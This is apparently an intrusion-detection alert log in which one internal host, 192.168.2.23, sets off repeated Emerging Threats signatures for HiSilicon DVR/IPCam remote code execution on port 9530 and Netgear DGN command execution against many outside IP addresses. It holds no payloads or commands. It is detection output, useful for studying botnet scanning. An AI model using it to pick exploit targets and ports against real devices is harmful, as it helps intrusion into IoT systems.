05/16/24-16:38:55.206827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60752	9530	192.168.2.23	134.13.20.150
05/16/24-16:39:08.128066	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51740	9530	192.168.2.23	166.33.152.157
05/16/24-16:39:08.128066	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51740	9530	192.168.2.23	166.33.152.157
05/16/24-16:38:50.081804	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35058	9530	192.168.2.23	195.30.93.162
05/16/24-16:39:12.403762	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38824	9530	192.168.2.23	217.193.240.136
05/16/24-16:39:12.403762	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38824	9530	192.168.2.23	217.193.240.136
05/16/24-16:38:50.081804	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35058	9530	192.168.2.23	195.30.93.162
05/16/24-16:39:14.522066	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52596	9530	192.168.2.23	216.105.97.174
05/16/24-16:39:12.377570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33198	9530	192.168.2.23	105.97.211.123
05/16/24-16:38:59.558000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48998	9530	192.168.2.23	37.83.85.103
05/16/24-16:39:12.377570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33198	9530	192.168.2.23	105.97.211.123
05/16/24-16:38:59.558000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48998	9530	192.168.2.23	37.83.85.103
05/16/24-16:39:14.522066	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52596	9530	192.168.2.23	216.105.97.174
05/16/24-16:39:08.041257	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49316	9530	192.168.2.23	14.216.97.59
05/16/24-16:38:53.410682	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	36694	80	192.168.2.23	203.60.113.51
05/16/24-16:39:08.041257	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49316	9530	192.168.2.23	14.216.97.59
05/16/24-16:39:02.765747	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46370	9530	192.168.2.23	69.15.208.131
05/16/24-16:39:02.765747	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46370	9530	192.168.2.23	69.15.208.131
05/16/24-16:38:55.218331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37348	9530	192.168.2.23	91.117.196.117
05/16/24-16:38:55.218331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37348	9530	192.168.2.23	91.117.196.117
05/16/24-16:39:14.494525	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60926	9530	192.168.2.23	199.218.250.200
05/16/24-16:39:05.675915	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36534	9530	192.168.2.23	138.161.233.196
05/16/24-16:39:14.507719	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34798	9530	192.168.2.23	123.52.234.74
05/16/24-16:39:05.675915	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36534	9530	192.168.2.23	138.161.233.196
05/16/24-16:39:14.507719	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34798	9530	192.168.2.23	123.52.234.74
05/16/24-16:38:57.303959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36382	9530	192.168.2.23	135.227.102.129
05/16/24-16:39:12.378525	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46206	9530	192.168.2.23	23.253.155.12
05/16/24-16:38:57.303959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36382	9530	192.168.2.23	135.227.102.129
05/16/24-16:39:12.378525	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46206	9530	192.168.2.23	23.253.155.12
05/16/24-16:39:08.127188	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59236	9530	192.168.2.23	210.115.141.100
05/16/24-16:39:08.127188	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59236	9530	192.168.2.23	210.115.141.100
05/16/24-16:38:53.069485	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37908	9530	192.168.2.23	124.156.181.101
05/16/24-16:39:14.494525	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60926	9530	192.168.2.23	199.218.250.200
05/16/24-16:38:53.069485	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37908	9530	192.168.2.23	124.156.181.101
05/16/24-16:39:05.676373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48284	9530	192.168.2.23	159.20.235.171
05/16/24-16:39:05.676373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48284	9530	192.168.2.23	159.20.235.171
05/16/24-16:39:14.522096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41566	9530	192.168.2.23	216.117.99.45
05/16/24-16:39:14.522096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41566	9530	192.168.2.23	216.117.99.45
05/16/24-16:38:55.226833	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60670	9530	192.168.2.23	104.218.34.14
05/16/24-16:38:55.226833	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60670	9530	192.168.2.23	104.218.34.14
05/16/24-16:39:12.304126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39144	9530	192.168.2.23	174.67.244.233
05/16/24-16:39:12.304126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39144	9530	192.168.2.23	174.67.244.233
05/16/24-16:38:49.277196	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	49912	80	192.168.2.23	213.47.195.110
05/16/24-16:39:03.268466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56638	9530	192.168.2.23	37.170.245.66
05/16/24-16:39:03.268466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56638	9530	192.168.2.23	37.170.245.66
05/16/24-16:39:14.524536	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42986	9530	192.168.2.23	137.73.53.150
05/16/24-16:39:16.600097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51804	9530	192.168.2.23	196.32.89.235
05/16/24-16:38:49.306429	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	42358	80	192.168.2.23	118.235.32.54
05/16/24-16:38:57.409854	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34142	9530	192.168.2.23	104.173.31.8
05/16/24-16:39:16.600097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51804	9530	192.168.2.23	196.32.89.235
05/16/24-16:39:08.041738	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59444	9530	192.168.2.23	134.187.25.28
05/16/24-16:39:08.041738	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59444	9530	192.168.2.23	134.187.25.28
05/16/24-16:38:57.409854	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34142	9530	192.168.2.23	104.173.31.8
05/16/24-16:39:09.587308	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	41208	80	192.168.2.23	29.67.192.209
05/16/24-16:39:14.492288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38346	9530	192.168.2.23	201.251.251.159
05/16/24-16:38:50.065118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53362	9530	192.168.2.23	122.234.104.28
05/16/24-16:38:50.065118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53362	9530	192.168.2.23	122.234.104.28
05/16/24-16:39:14.492288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38346	9530	192.168.2.23	201.251.251.159
05/16/24-16:39:02.744426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51960	9530	192.168.2.23	126.122.62.16
05/16/24-16:38:57.304677	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58210	9530	192.168.2.23	217.183.61.98
05/16/24-16:39:02.744426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51960	9530	192.168.2.23	126.122.62.16
05/16/24-16:38:50.080392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44714	9530	192.168.2.23	110.91.75.89
05/16/24-16:38:50.080392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44714	9530	192.168.2.23	110.91.75.89
05/16/24-16:39:03.281737	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46930	9530	192.168.2.23	157.96.15.64
05/16/24-16:39:03.281737	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46930	9530	192.168.2.23	157.96.15.64
05/16/24-16:39:14.493523	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46878	9530	192.168.2.23	59.183.145.243
05/16/24-16:38:57.304677	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58210	9530	192.168.2.23	217.183.61.98
05/16/24-16:39:14.493523	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46878	9530	192.168.2.23	59.183.145.243
05/16/24-16:38:50.047582	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37936	9530	192.168.2.23	193.85.127.188
05/16/24-16:38:57.303508	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35690	9530	192.168.2.23	207.146.62.83
05/16/24-16:38:50.047582	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37936	9530	192.168.2.23	193.85.127.188
05/16/24-16:38:57.303508	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35690	9530	192.168.2.23	207.146.62.83
05/16/24-16:39:02.765358	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39056	9530	192.168.2.23	185.110.177.163
05/16/24-16:39:02.765358	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39056	9530	192.168.2.23	185.110.177.163
05/16/24-16:38:59.557635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38004	9530	192.168.2.23	220.225.224.164
05/16/24-16:39:05.706070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46830	9530	192.168.2.23	130.93.109.240
05/16/24-16:39:16.579873	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40206	9530	192.168.2.23	9.17.87.65
05/16/24-16:38:59.557635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38004	9530	192.168.2.23	220.225.224.164
05/16/24-16:39:05.706070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46830	9530	192.168.2.23	130.93.109.240
05/16/24-16:39:16.579873	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40206	9530	192.168.2.23	9.17.87.65
05/16/24-16:39:02.726987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38976	9530	192.168.2.23	124.186.100.248
05/16/24-16:39:16.602142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49192	9530	192.168.2.23	206.212.94.118
05/16/24-16:39:16.602142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49192	9530	192.168.2.23	206.212.94.118
05/16/24-16:39:02.726987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38976	9530	192.168.2.23	124.186.100.248
05/16/24-16:39:08.047734	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43768	9530	192.168.2.23	5.60.214.64
05/16/24-16:38:55.177025	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46766	9530	192.168.2.23	41.126.23.186
05/16/24-16:38:55.177025	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46766	9530	192.168.2.23	41.126.23.186
05/16/24-16:39:08.047734	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43768	9530	192.168.2.23	5.60.214.64
05/16/24-16:38:55.177025	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44956	9530	192.168.2.23	220.134.214.101
05/16/24-16:38:55.177025	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44956	9530	192.168.2.23	220.134.214.101
05/16/24-16:38:50.069067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56072	9530	192.168.2.23	23.20.63.157
05/16/24-16:38:50.069067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56072	9530	192.168.2.23	23.20.63.157
05/16/24-16:38:50.048837	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36780	9530	192.168.2.23	84.53.19.147
05/16/24-16:38:50.048837	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36780	9530	192.168.2.23	84.53.19.147
05/16/24-16:39:05.675941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55742	9530	192.168.2.23	54.207.13.22
05/16/24-16:39:05.675941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55742	9530	192.168.2.23	54.207.13.22
05/16/24-16:38:55.218338	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39432	9530	192.168.2.23	135.168.71.3
05/16/24-16:38:55.218338	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39432	9530	192.168.2.23	135.168.71.3
05/16/24-16:39:02.768654	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43930	9530	192.168.2.23	124.81.55.254
05/16/24-16:39:02.768654	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43930	9530	192.168.2.23	124.81.55.254
05/16/24-16:39:14.524536	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42986	9530	192.168.2.23	137.73.53.150
05/16/24-16:39:05.707922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51112	9530	192.168.2.23	105.144.52.3
05/16/24-16:39:14.493626	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35600	9530	192.168.2.23	57.168.158.36
05/16/24-16:39:05.707922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51112	9530	192.168.2.23	105.144.52.3
05/16/24-16:39:14.493626	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35600	9530	192.168.2.23	57.168.158.36
05/16/24-16:39:05.675881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57424	9530	192.168.2.23	113.46.104.53
05/16/24-16:38:53.410061	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	51066	80	192.168.2.23	64.175.91.127
05/16/24-16:39:05.675881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57424	9530	192.168.2.23	113.46.104.53
05/16/24-16:38:50.052428	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35470	9530	192.168.2.23	104.175.22.251
05/16/24-16:39:14.493337	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47258	9530	192.168.2.23	120.30.229.20
05/16/24-16:38:50.052428	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35470	9530	192.168.2.23	104.175.22.251
05/16/24-16:39:12.301081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53552	9530	192.168.2.23	110.125.122.36
05/16/24-16:39:14.493337	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47258	9530	192.168.2.23	120.30.229.20
05/16/24-16:39:03.253939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52820	9530	192.168.2.23	170.102.73.46
05/16/24-16:39:14.494706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60958	9530	192.168.2.23	67.20.139.206
05/16/24-16:38:53.069516	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38474	9530	192.168.2.23	196.157.102.89
05/16/24-16:39:08.041267	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44192	9530	192.168.2.23	209.7.157.185
05/16/24-16:38:53.069516	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38474	9530	192.168.2.23	196.157.102.89
05/16/24-16:39:08.041267	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44192	9530	192.168.2.23	209.7.157.185
05/16/24-16:39:03.259995	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33916	9530	192.168.2.23	135.144.32.168
05/16/24-16:39:03.259995	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33916	9530	192.168.2.23	135.144.32.168
05/16/24-16:39:14.494706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60958	9530	192.168.2.23	67.20.139.206
05/16/24-16:39:16.605778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51892	9530	192.168.2.23	189.128.107.11
05/16/24-16:38:50.080377	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38954	9530	192.168.2.23	38.49.216.200
05/16/24-16:38:50.080377	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38954	9530	192.168.2.23	38.49.216.200
05/16/24-16:39:05.717200	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57120	9530	192.168.2.23	194.199.56.62
05/16/24-16:39:05.717200	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57120	9530	192.168.2.23	194.199.56.62
05/16/24-16:38:55.196451	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55212	9530	192.168.2.23	39.189.129.77
05/16/24-16:38:55.196451	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55212	9530	192.168.2.23	39.189.129.77
05/16/24-16:39:16.605778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51892	9530	192.168.2.23	189.128.107.11
05/16/24-16:38:57.423122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39024	9530	192.168.2.23	52.124.115.228
05/16/24-16:39:12.380687	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51654	9530	192.168.2.23	174.23.108.97
05/16/24-16:38:57.423122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39024	9530	192.168.2.23	52.124.115.228
05/16/24-16:39:12.380687	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51654	9530	192.168.2.23	174.23.108.97
05/16/24-16:39:02.762988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57356	9530	192.168.2.23	118.149.8.21
05/16/24-16:39:02.762988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57356	9530	192.168.2.23	118.149.8.21
05/16/24-16:39:05.707655	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41334	9530	192.168.2.23	72.76.105.48
05/16/24-16:39:05.707655	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41334	9530	192.168.2.23	72.76.105.48
05/16/24-16:38:53.011481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49162	9530	192.168.2.23	176.104.104.240
05/16/24-16:38:53.011481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49162	9530	192.168.2.23	176.104.104.240
05/16/24-16:38:53.066849	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60048	9530	192.168.2.23	207.153.78.41
05/16/24-16:38:59.590314	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32996	9530	192.168.2.23	133.136.75.177
05/16/24-16:38:59.590314	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32996	9530	192.168.2.23	133.136.75.177
05/16/24-16:38:59.557132	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41850	9530	192.168.2.23	34.5.112.199
05/16/24-16:38:59.557132	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41850	9530	192.168.2.23	34.5.112.199
05/16/24-16:38:57.429271	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43990	9530	192.168.2.23	59.105.143.6
05/16/24-16:38:57.429271	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43990	9530	192.168.2.23	59.105.143.6
05/16/24-16:38:57.409442	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48748	9530	192.168.2.23	170.169.13.103
05/16/24-16:38:57.409442	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48748	9530	192.168.2.23	170.169.13.103
05/16/24-16:39:08.041856	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38476	9530	192.168.2.23	94.129.10.124
05/16/24-16:39:08.041856	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38476	9530	192.168.2.23	94.129.10.124
05/16/24-16:39:16.580745	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58314	9530	192.168.2.23	206.55.42.202
05/16/24-16:39:16.580745	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58314	9530	192.168.2.23	206.55.42.202
05/16/24-16:38:53.066849	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60048	9530	192.168.2.23	207.153.78.41
05/16/24-16:39:14.513376	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42030	9530	192.168.2.23	38.24.136.13
05/16/24-16:39:14.522043	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56864	9530	192.168.2.23	169.159.219.168
05/16/24-16:39:14.522043	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56864	9530	192.168.2.23	169.159.219.168
05/16/24-16:39:14.513376	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42030	9530	192.168.2.23	38.24.136.13
05/16/24-16:39:03.277882	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48490	9530	192.168.2.23	118.20.91.96
05/16/24-16:39:03.277882	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48490	9530	192.168.2.23	118.20.91.96
05/16/24-16:38:55.196453	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46584	9530	192.168.2.23	99.41.108.159
05/16/24-16:39:12.298348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44810	9530	192.168.2.23	185.41.99.137
05/16/24-16:38:55.196453	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46584	9530	192.168.2.23	99.41.108.159
05/16/24-16:39:12.298348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44810	9530	192.168.2.23	185.41.99.137
05/16/24-16:39:03.276949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48544	9530	192.168.2.23	178.140.125.18
05/16/24-16:39:03.276949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48544	9530	192.168.2.23	178.140.125.18
05/16/24-16:39:14.531178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41026	9530	192.168.2.23	167.6.191.121
05/16/24-16:38:50.075682	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46044	9530	192.168.2.23	69.213.104.239
05/16/24-16:39:14.531178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41026	9530	192.168.2.23	167.6.191.121
05/16/24-16:38:50.075682	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46044	9530	192.168.2.23	69.213.104.239
05/16/24-16:38:53.071739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47070	9530	192.168.2.23	157.176.108.250
05/16/24-16:38:53.071739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47070	9530	192.168.2.23	157.176.108.250
05/16/24-16:39:05.706953	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55446	9530	192.168.2.23	187.110.247.82
05/16/24-16:39:05.706953	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55446	9530	192.168.2.23	187.110.247.82
05/16/24-16:38:55.175119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57912	9530	192.168.2.23	202.239.62.240
